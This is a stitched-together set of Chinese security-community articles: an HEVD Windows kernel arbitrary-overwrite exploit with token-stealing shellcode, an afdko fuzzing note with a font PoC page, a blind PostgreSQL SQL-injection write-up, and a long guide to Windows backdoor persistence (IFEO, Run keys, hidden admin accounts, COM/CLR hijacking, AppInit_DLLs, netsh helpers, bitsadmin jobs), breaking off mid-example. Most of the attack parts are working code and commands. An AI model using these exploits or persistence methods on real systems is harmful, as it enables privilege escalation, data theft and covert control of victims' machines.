84159ecd 7507 jne nt!NtQueryIntervalProfile+0x6b (84159ed6)
84159ecf a1ac7bf783 mov eax,dword ptr [nt!KiProfileInterval (83f77bac)]
84159ed4 eb05 jmp nt!NtQueryIntervalProfile+0x70 (84159edb)
84159ed6 e83ae5fbff call nt!KeQueryIntervalProfile (84118415)
84159edb 84db test bl,bl
84159edd 741b je nt!NtQueryIntervalProfile+0x8f (84159efa)
84159edf c745fc01000000 mov dword ptr [ebp-4],1
84159ee6 8906 mov dword ptr [esi],eax
上面可以发现，`0x84159ed6`这里会调用到一个函数`KeQueryIntervalProfile`，我们继续跟进
2: kd> u KeQueryIntervalProfile
nt!KeQueryIntervalProfile:
840cc415 8bff mov edi,edi
840cc417 55 push ebp
840cc418 8bec mov ebp,esp
840cc41a 83ec10 sub esp,10h
840cc41d 83f801 cmp eax,1
840cc420 7507 jne nt!KeQueryIntervalProfile+0x14 (840cc429)
840cc422 a1c86af683 mov eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83f66ac8)]
840cc427 c9 leave
2: kd> u
nt!KeQueryIntervalProfile+0x13:
840cc428 c3 ret
840cc429 8945f0 mov dword ptr [ebp-10h],eax
840cc42c 8d45fc lea eax,[ebp-4]
840cc42f 50 push eax
840cc430 8d45f0 lea eax,[ebp-10h]
840cc433 50 push eax
840cc434 6a0c push 0Ch
840cc436 6a01 push 1
2: kd>
nt!KeQueryIntervalProfile+0x23:
840cc438 ff15fcc3f283 call dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]
840cc43e 85c0 test eax,eax
840cc440 7c0b jl nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc442 807df400 cmp byte ptr [ebp-0Ch],0
840cc446 7405 je nt!KeQueryIntervalProfile+0x38 (840cc44d)
840cc448 8b45f8 mov eax,dword ptr [ebp-8]
840cc44b c9 leave
840cc44c c3 ret
上面的`0x840cc438`处会有一个指针数组，这里就是我们shellcode需要覆盖的地方，为什么是这个地方呢？这是前人发现的，这个函数在内核中调用的很少，可以安全可靠地覆盖，而不会导致计算机崩溃，对于初学者而言就把这个地方当公式用吧，下面简单看一下`HalDispatchTable`这个内核服务函数指针表，结构如下
HAL_DISPATCH HalDispatchTable = {
HAL_DISPATCH_VERSION,
xHalQuerySystemInformation,
xHalSetSystemInformation,
xHalQueryBusSlots,
xHalDeviceControl,
xHalExamineMBR,
xHalIoAssignDriveLetters,
xHalIoReadPartitionTable,
xHalIoSetPartitionInformation,
xHalIoWritePartitionTable,
xHalHandlerForBus, // HalReferenceHandlerByBus
xHalReferenceHandler, // HalReferenceBusHandler
xHalReferenceHandler // HalDereferenceBusHandler
};
我们需要很清楚的知道，我们刚才在找什么，我们就是在找where指针的位置，所以我们只需要把where的位置放在`HalDispatchTable+0x4`处就行了，而what指针我们希望的是存放shellcode的位置
* what -> &shellcode
* where -> HalDispatchTable+0x4
## 利用代码
上面我们解释了where和what指针的原理，现在我们需要用代码来实现上面的过程，我们主要聚焦点在where指针上，我们需要找到`HalDispatchTable+0x4`的位置，我们大致分一下流程：
1. 找到 ntkrnlpa.exe 在 kernel mode 中的基地址
2. 找到 ntkrnlpa.exe 在 user mode 中的基地址
3. 找到 HalDispatchTable 在 user mode 中的地址
4. 计算 HalDispatchTable+0x4 的地址
**ntkrnlpa.exe 在 kernel mode 中的基地址**
我们用`EnumDeviceDrivers`函数检索系统中每个设备驱动程序的加载地址，然后用`GetDeviceDriverBaseNameA`函数检索指定设备驱动程序的基本名称，以此确定
ntkrnlpa.exe 在内核模式中的基地址，当然我们需要包含文件头`Psapi.h`
LPVOID NtkrnlpaBase()
{
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
//Retrieves the load address for each device driver in the system
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
for (int i = 0; i < 1024; i++)
{
//Retrieves the base name of the specified device driver
GetDeviceDriverBaseNameA(lpImageBase[i], lpfileName, 48);
if (!strcmp(lpfileName, "ntkrnlpa.exe"))
{
printf("[+]success to get %s\n", lpfileName);
return lpImageBase[i];
}
}
return NULL;
}
**ntkrnlpa.exe 在 user mode 中的基地址**
我们用函数`LoadLibrary`将指定的模块加载到调用进程的地址空间中，获取它在用户模式下的基地址
HMODULE hUserSpaceBase = LoadLibrary("ntkrnlpa.exe");
**HalDispatchTable 在 user mode 中的地址**
我们用`GetProcAddress`函数返回`ntkrnlpa.exe`中的导出函数`HalDispatchTable`的地址
PVOID pUserSpaceAddress = GetProcAddress(hUserSpaceBase, "HalDispatchTable");
**计算 HalDispatchTable+0x4 的地址**
如果你是一个pwn选手的话，你可以把这里的计算过程类比计算函数中的偏移，实际地址 = 基地址 +
偏移，最终我们确定下了`HalDispatchTable+0x4`的地址
DWORD32 hal_4 = (DWORD32)pNtkrnlpaBase + ((DWORD32)pUserSpaceAddress - (DWORD32)hUserSpaceBase) + 0x4;
我们计算出了where指针的位置，what指针放好shellcode的位置之后，我们再次调用`NtQueryIntervalProfile`内核函数就可以实现提权，但是这里的`NtQueryIntervalProfile`函数需要我们自己去定义(函数的详情建议下一个Windows
NT4的源码查看)，函数原型如下：
NTSTATUS
NtQueryIntervalProfile (
IN KPROFILE_SOURCE ProfileSource,
OUT PULONG Interval
)
最后你可能还要注意一下堆栈的平衡问题，shellcode中需要平衡一下堆栈
static VOID ShellCode()
{
_asm
{
//int 3
pop edi // the stack balancing
pop esi
pop ebx
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}
详细的代码参考[这里](https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/ArbitraryOverwrite/ArbitraryOverwrite/test.c)，最后提权成功
# 0x03：后记
上面的东西一定要自己调一遍，如何堆栈平衡的我没有写的很细，如果是初学者建议自己下断点调试，可能在整个过程中你会有许多问题，遇到问题千万不要马上就问，至少你要想半小时再去问，如果是个特别小的问题，可能别人还没来得及回你，你自己琢磨已经解决了，下一篇我会继续学习HEVD的其他漏洞，一起加油吧！ | 社区文章 |
## 0x1 fuzzing
看了几篇afdko漏洞分析的文章[xinali](https://github.com/xinali/AfdkoFuzz/tree/master/CVE-2019-1117
"github")、[project-zero](https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=finder%3Amjurczyk+reported%3A2019-apr-26 "project-zero")。
了解了afdko一些基础用法，而且afdko核心功能用C写的，如果我要运气好能fuzz出几个漏洞，也搞几个cve岂不美滋滋。
我也试着用afl对afdko进行fuzz。一晚上之后，没有发现crash，倒是有一个hang。
## 0x2 hang分析
我简单分析了一下hang产生的原因：
函数buildGIDNames, 变量i的类型unsigned short, unsigned short的最大值为65535.
如果numGlyphs比65535大，程序就会一直在此处循环。
1906 static void buildGIDNames(cfrCtx h) {
1907 char *p;
1908 long length;
1909 long numGlyphs = h->glyphs.cnt;
1910 unsigned short i;
1911
1912 if (numGlyphs <= 0)
1913 fatal(h, cfrErrNoGlyph);
1914 dnaSET_CNT(h->post.fmt2.glyphNameIndex, numGlyphs);
1915 for (i = 0; i < numGlyphs; i++) {
1916 h->post.fmt2.glyphNameIndex.array[i] = i;
1917 }
例如
0x0000555555604929 in buildGIDNames (h=0x62a000000200) at /home/test/github/afdko/c/public/lib/source/cffread/cffread.c:1916
1916 h->post.fmt2.glyphNameIndex.array[i] = i;
gdb-peda$ p /d numGlyphs
$5 = 66950
gdb-peda$ p /d i
$6 = 11499
## 0x3 漏洞修复
我把漏洞报送给[email protected]，很快漏洞就修复了。根据邮件回复，看起来这种问题只能算bug，不算security
bug，就算我fuzz到afdko内存破坏类漏洞，Adobe也不为AFDKO申请CVE。
github修复commit
<https://github.com/adobe-type-tools/afdko/commit/e4c023d4b31515d7f8d0a73b2326d3a043e8668c>
截图
回过头重新看project-zero的文章。
## 0x4 回头重看利用
两个CVE [cve-2019-8017](https://www.exploit-db.com/exploits/47260
"cve-2019-8017")、[cve-2019-1117 ](https://bugs.chromium.org/p/project-zero/issues/detail?id=1829 "cve-2019-1117")。两个产品。
### 1、cve-2019-8017
Adobe Acrobat的漏洞
For example, it is possible to execute the AFDKO copy in CoolType.dll by opening a PDF file with an embedded font, and exporting it to a PostScript (.ps) or Encapsulated PostScript (.eps) document
The proof of concept is a PDF file with an embedded Type 1 font, which includes an extra "/FDArray 0" operator to set the length of FDArray to 0, as described above.
When the poc.pdf file is opened with Adobe Acrobat Pro and converted to a PostScript document via "File > Export To > (Encapsulated) PostScript", the following crash occurs in Acrobat.exe:
简单理解
Adobe Acrobat Pro打开构造的pdf文件，导出成PostScript，Adobe Acrobat崩溃。
### 2、cve-2019-1117
Microsoft DirectWrite的漏洞
Microsoft's DirectWrite library includes parts of AFDKO。
One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input.
简单理解
Microsoft Edge 支持Direct2D printing.Microsoft Edge打开嵌入了OpenType字体的网页，然后打印网页成PDF、 XPS，AFDKO就会运行嵌入的字体。
poc.html
<html>
<head>
<style>
@font-face { font-family: custom_font; font-weight: 1000; src: url('poc.otf'); }
h1 {
font-family: custom_font
}
</style>
</head>
<body>
<h1>The quick brown fox jumps over the lazy dog.</h1>
</body>
</html>
我按照上面的方式进行试验，没有发现任何异常，对afdko的应用理解还不是很深入，无法完成利用。。。。。。。
最后能利用的洞才是好洞。。。。 | 社区文章 |
原文：https://www.noob.ninja/2019/07/exploiting-tricky-blind-sql-injection.html
# 前言
嘿！有好长时间没有更新过博客了，不知道大家有没有想我。今天我为大家带来的下饭故事是关于盲SQL注入，这是我在一个私有赏金计划中发现的。通过被动侦察范围内的子域，我发现技术堆栈为PHP，因此我断定其中一定存在漏洞。
它可以创建图像相册，在相册中，你可以上传各种图片，但有分页功能。一个页面上只有几个相册可见，您需要单击“页码”才能查看其他相册。在点击页码时，我注意到如下请求：
/albums.php?page=2&num_max=20
其中包含num_max参数，这告诉我们每页相册数量的限制，我们可以增加或减少它来改变单页上相册的数量。所以我尝试通过简单地输入`’
"`和\等来检查SQL注入，它在响应中抛出了SQL查询而且，错误显示它是PostgreSQL DBMS。
查询如下：
Select * from tbl_albums where page=2 order by album_date asc LIMIT 0,{{INPUT}}
在LIMIT 0中，{{input}} 0是偏移量。即，从哪一行返回记录。{{input}}是应该从偏移量返回的行数，也可以写成`LIMIT
{{INPUT}} OFFSET 0`(应用程序转义引号)。然而，由于我也使用了\进行检查，并且由于注入是在数字上下文中，因此导致了错误。
Select * from tbl_albums where page=2 order by album_date asc LIMIT 20\ OFFSET 0
据我所知，当order by
查询与LIMIT一起使用时，我们不能使用Union语句将我们自己的行注入到当前运行的查询中。在MySQL的情况下可以进行基于错误的注入，但这次是PostgreSQL
DBMS。我苦苦搜寻解决办法，但都是徒劳的。
然后我就咨询了一下我的朋友 @securityidiots，他提供了一个绝妙的点子，虽然技巧依赖于应用程序，但它也可以在其他不同的地方实现。
# Exploit
1.首先，使用Burp Intruder我创建了大约200张相册(127张就够了)
2.我决定首先提取DBMS版本的第一个字符，所以我使用了内置的substr函数，并将我的SQL查询放入其中，这样它就变成了
Select * from tbl_albums where page=2 order by album_date asc LIMIT 0,substr((select version()),1,1)
但是它抛出了一个错误，因为DBMS要求LIMIT 和OFFSET的值是数字！
3.接下来，我们使用“ascii”函数将substr函数的结果转换为数字，因此查询类似于
Select * from tbl_albums where page=2 order by album_date asc LIMIT 0,ascii(substr((Select version()),1,1))
现在查询语句非常巧妙，没有返回任何错误，现在这个查询的作用为，返回相册的数量，这等同于version()函数输出的第一个字符的ascii值。这就是在步骤#1中创建这么多相册的原因，并且返回的结果在0-127这个范围内。
示例：如果version()的输出是`PostgreSQL 9.6.2`，则。`substr((select version()),1,1)`将是“P”
`ascii(substr((select version()),1,1))`将为“80”,因此，只有80张相册会返回到页面。`substr((select
version()),2,1)`将为“o”,`ascii(substr((select
version()),2,1))`将为“111”.只有111张相册会返回页面，以此类推。所以我们现在要做的就是使用一些javascript计算在DOM中返回的相册数量，并将相册的计数转换回ASCII表中的等效字符，我们得到了`(select
version())`的第一个字符，同样，我们可以自动提取所有DBMS。
我使用`document.querySelectorAll('.ALBUM_CLASS').length`查找返回的相册数量，并使用`String.fromCharCode(80)`将数量转换回字符。
这就是PoC,希望大家能从中学到东西！ | 社区文章 |
# 前言
当我们通过各种方法拿到一个服务器的权限的时候，我们下一步要做的就是`后渗透`了，而后门持久化也是我们后渗透很重要的一部分，下面我来总结一下`windows`下常见的后门持久化的方法
# 后门持久化
我的操作环境是：
1. 无AV、管理员权限（提权、免杀等是后门持久化的铺垫，当然有的方法也并不是全部需要这些铺垫）
2. 操作系统：`win7`，`windows server 2008R2`，`xp`
## shift后门
这个是比较老的方式了，这里简单讲一下，在windows中有一些辅助功能，能在用户未登录系统之前可以通过组合键来启动它，类似的辅助功能有：
1. `C:\Windows\System32\sethc.exe` 粘滞键，启动快捷键：按五次shift键
2. `C:\Windows\System32\utilman.exe` 设置中心，启动快捷键：Windows+U键
在低版本的windows中，我们可以直接把`setch.exe`替换成我们的后门程序，下面我们把`setch.exe`替换为`cmd.exe`
## 映像劫持
这个和shift后门差不多，只不过在低版本的windows中，我们可以简单地替换程序，但是在高版本的windows版本中替换的文件受到了系统的保护，所以这里我们要使用另外一个知识点：映像劫持。
"映像劫持"，也被称为"IFEO"（Image File Execution Options）
就是Image File Execution Options（其实应该称为"image Hijack"。）是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境设定。由于这个项主要是用来调试程序用的，对一般用户意义不大。默认是只有管理员和local system有权读写修改。
PS：来自百度百科
简单来说就是当目标程序被映像劫持时，当我们启动目标程序时，启动的是劫持后的程序而不是原来的程序
操作也很简单，在注册表的`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution
Option`下添加一个项`sethc.exe`，然后在`sethc.exe`这个项中添加`debugger`键，键值为我们恶意程序的路径，如下图
效果如下
## 注册表自启动项
`MSF`的`Persistence`模块利用的就是写注册表自启动项来实现的，一般自启动项是这两个键：`Run`和`RunOnce`，两者的区别如下
1. Run：该项下的键值即为开机启动项，每一次随着开机而启动。
2. RunOnce：RunOnce和Run差不多，唯一的区别就是RunOnce的键值只作用一次，执行完毕后就会自动删除
常见注册表启动项键的位置：
用户级
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
系统级
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce
修改一下：
执行结果：
## 定时任务
windows下定时任务的命令有两个分别是：`at`和`schtasks`，他们两者主要区别是`at`命令在`win7`、`08`等高版本的windows中是不能将任务在前台执行的，也就是只会打开一个后台进程，而`schtasks`是将定时的任务在前台执行，下面我们逐个看看
`at`的一些参数
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"
`at`的执行如下：
`schtasks`一些参数：
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?
`schtasks`的执行如下：
## 用户登陆初始化
`Userinit`的作用是用户在进行登陆初始化设置时，`WinLogon`进程会执行指定的`login
scripts`，所以我们可以修改它的键值来添加我们要执行的程序
注册表路径为：`HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Userinit`，我们添加一个我们启动的程序，多个程序用逗号隔开
效果如下：
## Logon Scripts
`Logon Scripts`优先于av先执行，我们可以利用这一点来绕过av的敏感操作拦截
注册表路径为：`HKEY_CURRENT_USER\Environment`，创建一个键为：`UserInitMprLogonScript`，其键值为我们要启动的程序路径
效果如下：
## 屏幕保护程序
在对方开启屏幕保护的情况下，我们可以修改屏保程序为我们的恶意程序从而达到后门持久化的目的
其中屏幕保护的配置存储在注册表中，其位置为：`HKEY_CURRENT_USER\Control Panel\Desktop`，关键键值如下：
1. `SCRNSAVE.EXE` \- 默认屏幕保护程序，我们可以把这个键值改为我们的恶意程序
2. `ScreenSaveActive` \- 1表示屏幕保护是启动状态，0表示表示屏幕保护是关闭状态
3. `ScreenSaverTimeout` \- 指定屏幕保护程序启动前系统的空闲事件，单位为秒，默认为900（15分钟）
设置如下：
效果图：
## 自启动服务
自启动服务一般是在电脑启动后在后台加载指定的服务程序，我们可以将`exe`文件注册为服务，也可以将`dll`文件注册为服务
为了方便起见我们可以直接用`Metasploit`来注册一个服务
meterpreter > run metsvc -A
运行之后msf会在`%TMP%`目录下创建一个随机名称的文件夹，然后在该文件夹里面生成三个文件：`metsvc.dll`、`metsvc-server.exe`、`metsvc.exe`
同时会新建一个服务，其显示名称为`Meterpreter`，服务名称为`metsvc`，启动类型为"自动"，默认绑定在31337端口。
如果想删除服务，可以执行
meterpreter > run metsvc -r
## 影子用户
影子用户顾名思义就是一个隐藏用户，只能通过注册表查看这个用户，其它方式是找不到这个用户的信息的
在用户名后面加一个`$`可以创建一个匿名用户，创建完毕后我们再把这个用户添加到administrator组
net user test$ test /add
net localgroup administrators test$ /add
可以看到`net user`是看不到我们创建的用户，但是计算机管理-用户和组中可以看到
所以这时候我们就需要修改一下注册表，其键位置为：`HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users`
注意：`SAM`键值默认是只能`system`权限修改的，所以我们要修改一下`SAM`键的权限，给予`administrator`完全控制和读取的权限
然后我们将`administrator`用户对应的项中的F值复制到`test$`对应xiang中的F值，然后保存
然后我们将`test$`删除掉
net user test$ /del
然后再双击导出的注册表文件，然后我们再看一下
`net user`和计算机管理-用户和组中都查看不到用户了，但是我们可以用`net user test$`查看用户信息
这个时候我们再用`net user test$ /del`是删除不掉这个用户的，只能通过注册表来删除。
## waitfor
关于`waitfor`手册中是这么解释的：
在系统上发送或等待信号。waitfor可用于跨网络同步计算机。
`waitfor`的语法
waitfor [/s <Computer> [/u [<Domain>\]<User> [/p [<Password>]]]] /si <SignalName>
waitfor [/t <Timeout>] <SignalName>
参数解释：
/s <Computer> 指定远程计算机的名称或IP地址，默认为本地计算机
/u [<Domain>]<user> 使用指定用户帐户的凭据运行脚本。默认是使用当前用户的凭据。
/p <Password> 指定/u参数中指定的用户帐户的密码。
/si 发送指定激活信号。
/t 指定等待信号的秒数。默认为无限期等待。
<SignalName> 指定等待或发送的信号，不区分大小写，长度不能超过225个字符
关于`waitfor`更多的信息可以看一下微软提供的手册：[链接](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/waitfor "链接")
我们来测试一下看看
waitfor test && calc 表示接收信号成功后执行计算器
waitfor /s 192.168.163.143 /u qiyou /p qiyou /si test
结果如下
但是这样只能执行一次，这对我们后门持久化很不利，所以我们得想办法让它持久化。
这里就要借用一下三好师傅的`powershell`脚本：[链接](https://github.com/3gstudent/Waitfor-Persistence/blob/master/Waitfor-Persistence.ps1
"链接")，三好师傅的分析：[链接](https://3gstudent.github.io/3gstudent.github.io/Use-Waitfor.exe-to-maintain-persistence/ "链接")
执行效果如下：
该方法的优点就是能主动激活，但是缺点也明显就是只能在同一网段才能接收和发送激活信号、服务器重启之后就不行了。
## CLR
CLR的简述（来自百度百科）
CLR(公共语言运行库,Common Language Runtime)和Java虚拟机一样也是一个运行时环境，是一个可由多种编程语言使用的运行环境。CLR的核心功能包括：内存管理、程序集加载、安全性、异常处理和线程同步，可由面向CLR的所有语言使用。并保证应用和底层操作系统之间必要的分离。CLR是.NET Framework的主要执行引擎。
需要注意的是`CLR`能够劫持系统中全部`.net`程序，而且系统默认会调用`.net`程序，从而导致我们的后门自动触发，这是我们后门持久化的一个好的思路，下面来实现一下
修改一下注册表，注册表路径：`HKEY_CURRENT_USER\Software\Classes\CLSID\`，新建子项`{11111111-1111-1111-1111-111111111111}`（名字随便，只要不与注册表中存在的名称冲突就行），然后再新建子项`InProcServer32`，新建一个键`ThreadingModel`，键值为：`Apartment`，默认的键值为我们`dll`的路径
然后在cmd下设置一下：
**PS：要注册为全局变量，不然只能在当前cmd窗口劫持.net程序**
SETX COR_ENABLE_PROFILING=1 /M
SETX COR_PROFILER={11111111-1111-1111-1111-111111111111} /M
然后执行一波，效果如下，可以看到已经成功劫持了
## Hijack CAccPropServicesClass and MMDeviceEnumerator
什么是`COM`（来自`WIKI`）
组件对象模型（英语：Component Object Model，缩写COM）是微软的一套软件组件的二进制接口标准。这使得跨编程语言的进程间通信、动态对象创建成为可能。COM是多项微软技术与框架的基础，包括OLE、OLE自动化、ActiveX、COM+、DCOM、Windows shell、DirectX、Windows Runtime。
这个和`CRL`劫持`.NET`程序类似，也是通过修改`CLSID`下的注册表键值，实现对`CAccPropServicesClass`和`MMDeviceEnumerator`的劫持，而系统很多正常程序启动时需要调用这两个实例，所以这个很适合我们的后门持久化。
经测试貌似64位系统下不行（或许是我姿势的问题），但是32位系统下可以，下面说一下32位系统利用方法：
在`%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\`下放入我们的后门`dll`，重命名为`test._dl`
PS：如果`Installer`文件夹不存在，则依次创建`Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}`
然后就是修改注册表了，在注册表位置为：`HKCU\Software\Classes\CLSID\`下创建项`{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}`，然后再创建一个子项`InprocServer32`，默认为我们的`dll`文件路径：`C:\Users\qiyou\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}`，再创建一个键`ThreadingModel`，其键值为：`Apartment`
然后就是测试了，打开`iexplore.exe`，成功弹框
PS：`{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}`对应`CAccPropServicesClass`，`{BCDE0395-E52F-467C-8E3D-C4579291692E}`对应`MMDeviceEnumerator`
## 劫持MruPidlList
在注册表位置为`HKCU\Software\Classes\CLSID\`下创建项`{42aedc87-2188-41fd-b9a3-0c966feabec1}`，再创建一个子项`InprocServer32`，默认的键值为我们的dll路径，再创建一个键`ThreadingModel`，其键值：`Apartment`
该注册表对应`COM`对象`MruPidlList`，作用于`shell32.dll`，而`shell32.dll`是Windows的32位外壳动态链接库文件，用于打开网页和文件，建立文件时的默认文件名的设置等大量功能。其中`explorer.exe`会调用`shell32.dll`，然后会加载COM对象`MruPidlList`，从而触发我们的`dll`文件
当用户重启时或者重新创建一个`explorer.exe`进程时，就会加载我们的恶意dll文件，从而达到后门持久化的效果。这里我们直接结束一个`explorer.exe`进程再起一个进程来看一下效果
## office系列
### Word WLL
把dll文件保存在`%APPDATA%\Microsoft\Word\Startup`，然后把后缀名改为`wll`
PS：`Startup`支持启动多个`wll`
打开`word`，成功弹框
### Excel XLL
`Excel dll`的编写可以参考三好师傅这个项目：[链接](https://github.com/3gstudent/Add-Dll-Exports
"链接")
用三好师傅powershell脚本生成现成的`Excel dll`：[链接](https://github.com/3gstudent/Office-Persistence "链接")
将生成的DLL文件复制到`%appdata%\Microsoft\AddIns`目录下，然后再修改一下注册表，`office`版本对应的注册表位置如下：
office2003 — HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\
office2007 — HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\
office2010 — HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\
office2013 — HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\
office2016 — HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\
我这里使用的2010的，所以我们要修改的是`HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options`，添加一个键`OPEN`，键值为：`/R
test.dll`
然后打开`Excel`，发现成功弹出计算器
### PowerPoint VBA add-ins
用三好师傅powershell脚本生成现成的`PowerPoint
dll`：[链接](https://github.com/3gstudent/Office-Persistence "链接")
将生成的DLL文件复制到`%appdata%\Microsoft\AddIns`目录下，然后参考前面我给出的`office`版本对应的注册表位置，在`HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint`下新建一个子项：`AddIns`，然后在`AddIns`下面新建一个子项`test`，新建一个键为`Autoload`，类型为`DWORD`，键值为：`1`；新建一个键为`Path`，类型为`SZ`，键值为我们`dll`文件的路径
打开`PowerPoint`成功弹出计算器
## 文件关联
什么是文件关联
文件关联就是将一种类型的文件与一个可以打开它的程序建立起一种依存关系。一个文件可以与多个应用程序发生关联。可以利用文件的“打开方式”进行关联选择。
举个例子来说，位图文件（BMP文件）在Windows中的默认关联程序是“图片”，如果将其默认关联改为用ACDSee程序来打开，那么ACDSee就成了它的默认关联程序。
PS：来自百度百科
我们可以用`assoc`命令显示或修改文件扩展名关联，我们可以看一下`.txt`文件的关联
我们可以用`ftype`命令显示或修改用在文件扩展名关联中的文件类型
相关注册表
HKEY_CURRENT_USER\Software\Classe //保存了当前用户的类注册和文件扩展名信息
HKEY_LOCAL_MACHINE\Software\Classe //保存了系统所有用户用户的类注册和文件扩展名信息
HKEY_CLASS_ROOT //HKEY_CLASSES_ROOT项提供合并来自上面两个的信息的注册表的视图
我们以`.txt`为例，通过文件关联来修改它默认打开的程序。
修改`\HKEY_CLASS_ROOT\txtfile\shell\open\command`的默认值为我们要执行的程序
效果如下：
## AppInit_DLLs
`User32.dll`被加载到进程时，会读取`AppInit_DLLs`注册表项，如果有值，调用`LoadLibrary() api`加载用户dll。
其注册表位置为：`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_DLLs`，把`AppInit_DLLs`的键值设置为我们dll路径，将`LoadAppInit_DLLs`设置为1
效果如下：
## Netsh helper
`netsh`（全称：`Network Shell`）
是`windows`系统本身提供的功能强大的网络配置命令行工具，它可以添加自定的dll从而拓展其功能，我们可以使用`netsh add helper
yourdll.dll`来添加拓展功能，添加了之后，在启动`netsh`的时候就会加载我们dll文件
添加自定义`helper dll`
关于`helper dll`的编写可以参考这个项目：[链接](https://github.com/outflanknl/NetshHelperBeacon
"链接")
我们可以使用两种方式来添加helper：
1. 通过cmd添加helper
netsh add helper test.dll
2. 通过注册表添加helper
其位置为：`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh`，创建一个键，名称随便，键值为我们dll的路径
效果如下：
## 利用BITS
`BITS` (后台智能传送服务) 是一个 Windows
组件，它可以在前台或后台异步传输文件，为保证其他网络应用程序获得响应而调整传输速度，并在重新启动计算机或重新建立网络连接之后自动恢复文件传输。
`bitsadmin`是一个命令行工具，用于创建下载或上传任务并监视其进度。你可以执行`bitsadmin /?`或`bitsadmin
/HELP`获取帮助列表。
常见的`bitsadmin`命令
bitsadmin /create [type] DisplayName //创建一个任务
bitsadmin /cancel <Job> //删除一个任务
bitsadmin /list /allusers /verbose //列出所有任务
bitsadmin /AddFile <Job> <RemoteURL> <LocalName> //给任务test添加一个下载文件
bitsadmin /SetNotifyCmdLine <Job> <ProgramName> [ProgramParameters] //设置在任务完成传输时或任务进入状态时将运行的命令行命令。
bitsadmin /Resume <Job> //激活传输队列中的新任务或挂起的任务。
bitsadmin /cancel <Job> //删除某个任务
bitsadmin /reset /allusers //删除所有任务
bitsadmin /complete <Job> //完成某个任务
下面我们来测试一下：
bitsadmin /create test
bitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\qiyou\Desktop\calc.exe //为了方便起见我们直接复制本地文件
bitsadmin /SetNotifyCmdLine test cmd.exe "cmd.exe /c calc.exe"
bitsadmin /resume test
效果如下：
重启电脑之后任务还是存在
重启电脑之后任务会再一次被激活，大概几分钟之后我们的命令会再次执行（由于时间太长了就不录制gif了）
如果我们想让任务完成，可以执行`bitsadmin /complete test`，`calc.exe`也会复制到桌面上
## 利用inf文件实现后门
`inf`文件
INF文件或安装信息文件是Microsoft Windows用于安装软件和驱动程序的纯文本文件。INF文件最常用于安装硬件组件的设备驱动程序。Windows包含用于创建基于INF的安装的IExpress工具。INF文件是Windows安装程序API及其后续版本Windows Installer的一部分。
PS：来自WIKI
`inf`文件的结构
想了解更多可以看一下微软的手册：`https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc939869(v=technet.10)#information-inf-file-entries`
1. DefaultInstall节（来自WIKI）
INF文件的结构与INI文件的结构非常类似; 它包含用于指定要复制的文件，对注册表的更改等的各个部分。所有INF文件都包含一个[Version]带有Signature 键值对的部分，用于指定INF文件所针对的Windows版本。签名通常是$CHICAGO$（对于Windows 9x）或$WINDOWS NT$（对于Windows NT / 2K / XP）。其余大多数部分是用户定义的，并且包含特定于要安装的组件的信息。
2. DefaultInstall节（来自微软的手册）
RunPreSetupCommands-本节中指定的命令在安装服务配置文件之前运行。
RunPostSetupCommands-本节中指定的命令在安装程序完成服务配置文件后运行。
RunPreUnInstCommands-本节中指定的命令在卸载程序开始之前运行。
RunPostUnInstCommands-本节中指定的命令在卸载程序运行后运行。
下面举一个`calc.inf`弹计算器的例子
[Version]
